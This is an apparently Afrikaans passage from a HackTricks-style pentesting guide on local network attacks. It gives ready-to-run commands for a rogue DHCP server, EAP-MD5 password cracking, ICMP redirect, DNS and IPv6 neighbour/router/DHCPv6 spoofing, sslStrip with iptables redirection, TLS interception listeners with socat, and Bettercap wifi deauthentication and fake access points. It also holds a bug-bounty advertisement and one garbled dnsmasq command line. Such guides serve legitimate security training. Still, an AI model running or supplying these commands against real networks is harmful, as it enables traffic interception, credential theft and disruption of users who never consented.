Deur hierdie opsies korrek te gebruik, kan 'n rogue DHCP-bediener gevestig word om netwerkverkeer effektief te onderskep.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP-aanvalle

Hier is 'n paar van die aanvalstaktieke wat teen 802.1X-implementasies gebruik kan word:

  • Aktiewe brute-force wagwoordgrinding via EAP
  • Aanval op die RADIUS-bediener met misvormde EAP-inhoud **(exploits)
  • EAP-boodskapvangs en offline wagwoordkraking (EAP-MD5 en PEAP)
  • Dwing EAP-MD5-sertifisering om TLS-sertifikaatvalidasie te omseil
  • Inspuit van kwaadwillige netwerkverkeer tydens autentisering met 'n hub of soortgelyk

As die aanvaller tussen die slagoffer en die autentiseringsbediener is, kan hy probeer om (indien nodig) die autentiseringsprotokol na EAP-MD5 te degradeer en die autentiseringpoging te vang. Dan kan hy dit brute-force met:

eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) Aanvalle

FHRP (First Hop Redundancy Protocol) is 'n klas van netwerkprotokolle wat ontwerp is om 'n warm redundante routeringstelsel te skep. Met FHRP kan fisiese routers in 'n enkele logiese toestel gekombineer word, wat fouttoleransie verhoog en help om die las te versprei.

Cisco Systems ingenieurs het twee FHRP protokolle, GLBP en HSRP, ontwikkel.

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

Drie weergawes van die Routing Information Protocol (RIP) is bekend: RIP, RIPv2, en RIPng. Datagramme word na gelyke via poort 520 met UDP deur RIP en RIPv2 gestuur, terwyl datagramme na UDP-poort 521 via IPv6 multicast deur RIPng gebroadcast word. Ondersteuning vir MD5-outeentifikasie is deur RIPv2 bekendgestel. Aan die ander kant is inheemse outeentifikasie nie deur RIPng ingesluit nie; eerder word daar op opsionele IPsec AH en ESP koppe in IPv6 vertrou.

  • RIP en RIPv2: Kommunikasie word deur UDP datagramme op poort 520 gedoen.
  • RIPng: Gebruik UDP-poort 521 om datagramme via IPv6 multicast te broadcast.

Let daarop dat RIPv2 MD5-outeentifikasie ondersteun terwyl RIPng nie inheemse outeentifikasie insluit nie, en op IPsec AH en ESP koppe in IPv6 vertrou.

EIGRP Aanvalle

EIGRP (Enhanced Interior Gateway Routing Protocol) is 'n dinamiese routeringprotokol. Dit is 'n afstandsvektorprotokol. As daar geen outeentifikasie en konfigurasie van passiewe interfaces is nie, kan 'n indringer inmeng met EIGRP-routering en routeringstabelle vergiftig. Boonop is die EIGRP-netwerk (met ander woorde, outonome stelsel) plat en het geen segmentering in enige sones nie. As 'n aanvaller 'n roete inspuit, is dit waarskynlik dat hierdie roete deur die outonome EIGRP-stelsel sal versprei.

Om 'n EIGRP-stelsel aan te val, vereis dit om 'n buurman met 'n wettige EIGRP-router te vestig, wat baie moontlikhede oopmaak, van basiese verkenning tot verskeie inspuitings.

FRRouting laat jou toe om 'n virtuele router te implementeer wat BGP, OSPF, EIGRP, RIP en ander protokolle ondersteun. Al wat jy hoef te doen is om dit op jou aanvaller se stelsel te ontplooi en jy kan eintlik voorgee om 'n wettige router in die routeringdomein te wees.

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

Coly het vermoëns om EIGRP (Enhanced Interior Gateway Routing Protocol) uitsendings te onderskep. Dit laat ook die inspuiting van pakkette toe, wat gebruik kan word om routeringkonfigurasies te verander.

OSPF

In die Open Shortest Path First (OSPF) protokol word MD5-outeentifikasie algemeen gebruik om veilige kommunikasie tussen routers te verseker. Hierdie sekuriteitsmaatreël kan egter gekompromitteer word met behulp van gereedskap soos Loki en John the Ripper. Hierdie gereedskap is in staat om MD5-hashes te vang en te kraak, wat die outeentifikasiesleutel blootstel. Sodra hierdie sleutel verkry is, kan dit gebruik word om nuwe routeringinligting in te voer. Om die roeteparameters te konfigureer en die gekompromitteerde sleutel te vestig, word die Injection en Connection oortjies onderskeidelik gebruik.

  • Vang en Kraak MD5 Hashes: Gereedskap soos Loki en John the Ripper word vir hierdie doel gebruik.
  • Konfigurasie van Roeteparameters: Dit word deur die Injection oortjie gedoen.
  • Stel die Gekompromitteerde Sleutel: Die sleutel word onder die Connection oortjie geconfigureer.

Ander Generiese Gereedskap & Bronne

  • Above: Gereedskap om netwerkverkeer te skandeer en kwesbaarhede te vind
  • Jy kan meer inligting oor netwerkaanvalle hier vind.

Spoofing

Die aanvaller konfigureer al die netwerkparameters (GW, IP, DNS) van die nuwe lid van die netwerk deur vals DHCP-antwoorde te stuur.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Kyk na die vorige afdeling.

ICMPRedirect

ICMP Redirect bestaan uit die stuur van 'n ICMP-pakket tipe 1 kode 5 wat aandui dat die aanvaller die beste manier is om 'n IP te bereik. Dan, wanneer die slagoffer die IP wil kontak, sal dit die pakket deur die aanvaller stuur.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

Die aanvaller sal sommige (of al) die domeine wat die slagoffer vra, oplos.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Konfigureer eie DNS met dnsmasq

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Plaaslike Poorte

Meerdere roetes na stelsels en netwerke bestaan dikwels. Wanneer 'n lys van MAC-adresse binne die plaaslike netwerk opgebou word, gebruik gateway-finder.py om gasheer te identifiseer wat IPv4-oorplasing ondersteun.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Spoofing LLMNR, NBT-NS, and mDNS

Vir plaaslike gasheeroplossing wanneer DNS-opsoeke onsuksesvol is, staat Microsoft-stelsels op Link-Local Multicast Name Resolution (LLMNR) en die NetBIOS Name Service (NBT-NS). Op soortgelyke wyse gebruik Apple Bonjour en Linux zero-configuration implementasies Multicast DNS (mDNS) om stelsels binne 'n netwerk te ontdek. Vanweë die nie-geverifieerde aard van hierdie protokolle en hul werking oor UDP, wat boodskappe uitsaai, kan dit deur aanvallers uitgebuit word wat daarop gemik is om gebruikers na kwaadwillige dienste te herlei.

Jy kan dienste naboots wat deur gashere gesoek word deur Responder te gebruik om vals antwoorde te stuur.
Lees hier meer inligting oor hoe om dienste te naboots met Responder.

Spoofing WPAD

Browers gebruik algemeen die Web Proxy Auto-Discovery (WPAD) protokol om outomaties proxy-instellings te verkry. Dit behels die verkryging van konfigurasie besonderhede van 'n bediener, spesifiek deur 'n URL soos "http://wpad.example.org/wpad.dat". Die ontdekking van hierdie bediener deur die kliënte kan deur verskeie meganismes plaasvind:

  • Deur DHCP, waar die ontdekking gefasiliteer word deur 'n spesiale kode 252 inskrywing te gebruik.
  • Deur DNS, wat behels om te soek na 'n gasheernaam met die etiket wpad binne die plaaslike domein.
  • Deur Microsoft LLMNR en NBT-NS, wat terugvalmeganismes is wat gebruik word in gevalle waar DNS-opsoeke nie slaag nie.

Die hulpmiddel Responder maak voordeel van hierdie protokol deur as 'n kwaadwillige WPAD-bediener op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om met hom te verbind. Om dieper in te duik in hoe dienste naboots kan word met Responder kyk hier.

Spoofing SSDP and UPnP devices

Jy kan verskillende dienste in die netwerk aanbied om te probeer om 'n gebruiker te mislei om sekere planktekst geloofsbriewe in te voer. Meer inligting oor hierdie aanval in Spoofing SSDP and UPnP Devices.

IPv6 Neighbor Spoofing

Hierdie aanval is baie soortgelyk aan ARP Spoofing, maar in die IPv6 wêreld. Jy kan die slagoffer laat dink dat die IPv6 van die GW die MAC van die aanvaller het.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6 Router Advertisement Spoofing/Flooding

Sommige OS konfigureer standaard die gateway vanaf die RA-pakkette wat in die netwerk gestuur word. Om die aanvaller as 'n IPv6-router te verklaar, kan jy gebruik maak van:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP spoofing

Standaard probeer sommige bedryfstelsels om die DNS te konfigureer deur 'n DHCPv6-pakket in die netwerk te lees. Dan kan 'n aanvaller 'n DHCPv6-pakket stuur om homself as DNS te konfigureer. Die DHCP bied ook 'n IPv6 aan die slagoffer.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (valse bladsy en JS kode-inspuiting)

Internet Aanvalle

sslStrip

Basies wat hierdie aanval doen, is, in die geval dat die gebruiker probeer om 'n HTTP bladsy te benader wat na die HTTPS weergawe herlei. sslStrip sal 'n HTTP-verbinding met die klant en 'n HTTPS-verbinding met die bediener onderhou sodat dit in staat sal wees om die verbinding in plank teks te sniff.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

More info here.

sslStrip+ en dns2proxy vir om HSTS te omseil

Die verskil tussen sslStrip+ en dns2proxy teenoor sslStrip is dat hulle herlei byvoorbeeld www.facebook.com na wwww.facebook.com (let op die bykomende "w") en die adres van hierdie domein as die aanvaller se IP sal stel. Op hierdie manier sal die klient met wwww.facebook.com (die aanvaller) verbind, maar agter die skerms sal sslstrip+ die werklike verbinding via https met www.facebook.com onderhou.

Die doel van hierdie tegniek is om HSTS te vermy omdat wwww.facebook.com nie in die kas van die blaaiers gestoor sal word nie, so die blaaiers sal mislei word om facebook-akkreditering in HTTP uit te voer.
Let daarop dat om hierdie aanval uit te voer, die slagoffer aanvanklik moet probeer om toegang te verkry tot http://www.faceook.com en nie https nie. Dit kan gedoen word deur die skakels binne 'n http-bladsy te wysig.

More info here, here and here.

sslStrip of sslStrip+ werk nie meer nie. Dit is omdat daar HSTS-reëls in die blaaiers gestoor is, so selfs al is dit die eerste keer dat 'n gebruiker 'n "belangrike" domein benader, sal hy dit via HTTPS benader. Let ook daarop dat die gestoor reëls en ander gegenereerde reëls die vlag includeSubdomains kan gebruik, so die wwww.facebook.com voorbeeld van voor sal nie meer werk nie, aangesien facebook.com HSTS met includeSubdomains gebruik.

TODO: easy-creds, evilgrade, metasploit, factory

TCP luister in poort

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL luister op poort

Genereer sleutels en self-signed sertifikaat

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Luister met behulp van sertifikaat

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Luister met behulp van 'n sertifikaat en herlei na die gasheer

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Soms, as die kliënt nagaan dat die CA 'n geldige een is, kan jy 'n sertifikaat van 'n ander hostname wat deur 'n CA onderteken is, bedien.
'n Ander interessante toets is om 'n sertifikaat van die versoekte hostname maar self-onderteken te bedien.

Ander dinge om te toets, is om te probeer om die sertifikaat te onderteken met 'n geldige sertifikaat wat nie 'n geldige CA is nie. Of om die geldige publieke sleutel te gebruik, te dwing om 'n algoritme soos diffie hellman te gebruik (een wat nie nodig het om enigiets met die werklike private sleutel te ontsleutel nie) en wanneer die kliënt 'n proef van die werklike private sleutel versoek (soos 'n hash) 'n vals proef te stuur en te verwag dat die kliënt dit nie nagaan nie.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Aktiewe Ontdekking Aantekeninge

Hou in gedagte dat wanneer 'n UDP-pakket na 'n toestel gestuur word wat nie die versoekte poort het nie, 'n ICMP (Port Unreachable) gestuur word.

ARP ontdekking

ARP-pakkette word gebruik om te ontdek watter IP's binne die netwerk gebruik word. Die rekenaar moet 'n versoek vir elke moontlike IP-adres stuur en slegs diegene wat gebruik word, sal antwoordgee.

mDNS (multicast DNS)

Bettercap stuur 'n MDNS versoek (elke X ms) wat vra vir _services_.dns-sd._udp.local. Die masjien wat hierdie pakket sien, antwoord gewoonlik op hierdie versoek. Dan soek dit net vir masjiene wat op "services" antwoordgee.

Gereedskap

  • Avahi-browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios Naam Bediener)

Bettercap stuur uitsendings na poort 137/UDP wat vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Bettercap stuur SSDP-pakkette uit wat soek na alle soorte dienste (UDP Poort 1900).

WSD (Web Service Discovery)

Bettercap stuur WSD-pakkette uit wat soek na dienste (UDP Poort 3702).

Verwysings


Bug bounty wenk: meld aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om bounties tot $100,000 te verdien!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}